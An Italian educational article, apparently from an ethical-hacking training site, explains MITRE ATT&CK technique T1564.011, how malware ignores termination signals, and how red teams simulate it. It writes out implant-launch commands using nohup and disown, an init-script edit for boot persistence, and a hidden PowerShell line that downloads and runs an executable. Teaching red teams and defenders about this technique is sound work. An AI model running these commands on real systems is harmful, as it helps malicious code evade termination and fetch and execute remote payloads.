Ignorare i Segnali di Interruzione: Ignore Process Interrupts (T1564.011)

La tecnica T1564.011 — Ignore Process Interrupts rientra nella tattica TA0005 (Defense Evasion) e descrive l'abuso dei meccanismi di gestione dei segnali offerti dai sistemi operativi per rendere un processo malevolo immune agli eventi che dovrebbero terminarlo. Su sistemi Unix-like, segnali come SIGHUP, SIGINT o SIGPIPE vengono normalmente utilizzati per notificare a un processo la chiusura della sessione controllante, un'interruzione da tastiera o la rottura di una pipe di comunicazione. Su Windows, meccanismi analoghi passano attraverso i parametri di PowerShell come -ErrorAction SilentlyContinue che sopprimono la terminazione su errore.

L'attaccante sfrutta questi comportamenti per garantire la continuità di esecuzione del proprio impianto quando l'utente legittimo chiude la shell, quando il canale C2 cade o quando un analista tenta di terminare il processo tramite segnali standard. A differenza di T1546.005 (Trap), questa tecnica non stabilisce persistenza reale: se il processo viene ucciso con SIGKILL (segnale non intercettabile), l'impianto non viene rilanciato. Si tratta quindi di una misura di sopravvivenza a breve termine, spesso combinata con altre tecniche di persistenza.

I dati MITRE ATT&CK documentano 2 gruppi APT (Sea Turtle e UNC3886) e 4 famiglie malware (OSX/Shlayer, GoldMax, BPFDoor, BOLDMOVE) che adottano questo pattern, con una netta prevalenza su piattaforme Linux e macOS dove il comando nohup rappresenta il vettore più comune.

In un ingaggio red team, la simulazione di T1564.011 serve a validare la capacità del blue team di correlare l'esecuzione di comandi che sopprimono i segnali con la sopravvivenza anomala dei processi. L'implementazione più diretta su Linux e macOS sfrutta nohup, il classico strumento POSIX che ridireziona stdout/stderr verso nohup.out e ignora SIGHUP.

Un payload minimale può essere lanciato come:

nohup /tmp/implant > /dev/null 2>&1 &

La combinazione con disown rimuove il job dalla tabella della shell corrente, rendendo il processo invisibile a jobs e non più associato al PPID della shell:

./implant & disown

Per emulare il comportamento di BPFDoor e BOLDMOVE, che invocano direttamente la syscall signal() per ignorare SIGHUP, SIGINT, SIGQUIT, SIGPIPE e SIGCHLD, si può scrivere un semplice PoC in C che chiama signal(SIGHUP, SIG_IGN) in sequenza per ciascun segnale prima del main loop. Questo approccio è più stealth di nohup perché non lascia tracce nella command line del processo padre.

Per replicare la TTP di UNC3886, si modifica un file di init System-V come /etc/init.d/localnet aggiungendo la riga nohup /bin/support &, ottenendo persistenza al boot combinata con immunità ai segnali di sessione.

Su Windows la simulazione passa per PowerShell. Il flag -ErrorAction SilentlyContinue (abbreviato -EA 0) e il parametro -WindowStyle Hidden consentono di eseguire cmdlet senza interruzioni visibili all'operatore:

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri -OutFile $env:TEMP\a.exe -ErrorAction SilentlyContinue; Start-Process $env:TEMP\a.exe"

Per catene più complesse, l'uso di Start-Job con -ErrorAction Ignore permette di detachare l'esecuzione dal processo PowerShell corrente.

Gli strumenti utili in laboratorio includono Atomic Red Team (open source) di Red Canary, che offre test T1564.011 pronti all'uso con payload nohup e varianti PowerShell, e Caldera (open source) di MITRE per orchestrare la sequenza init-modification + payload survival. Per la parte di analisi runtime dei segnali intercettati, strace (open source) su Linux mostra le chiamate rt_sigaction con maschera SIG_IGN, utile per validare che il PoC stia effettivamente ignorando i segnali attesi. Su macOS, dtrace (integrato nel sistema) offre visibilità equivalente tramite il provider syscall::sigaction.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.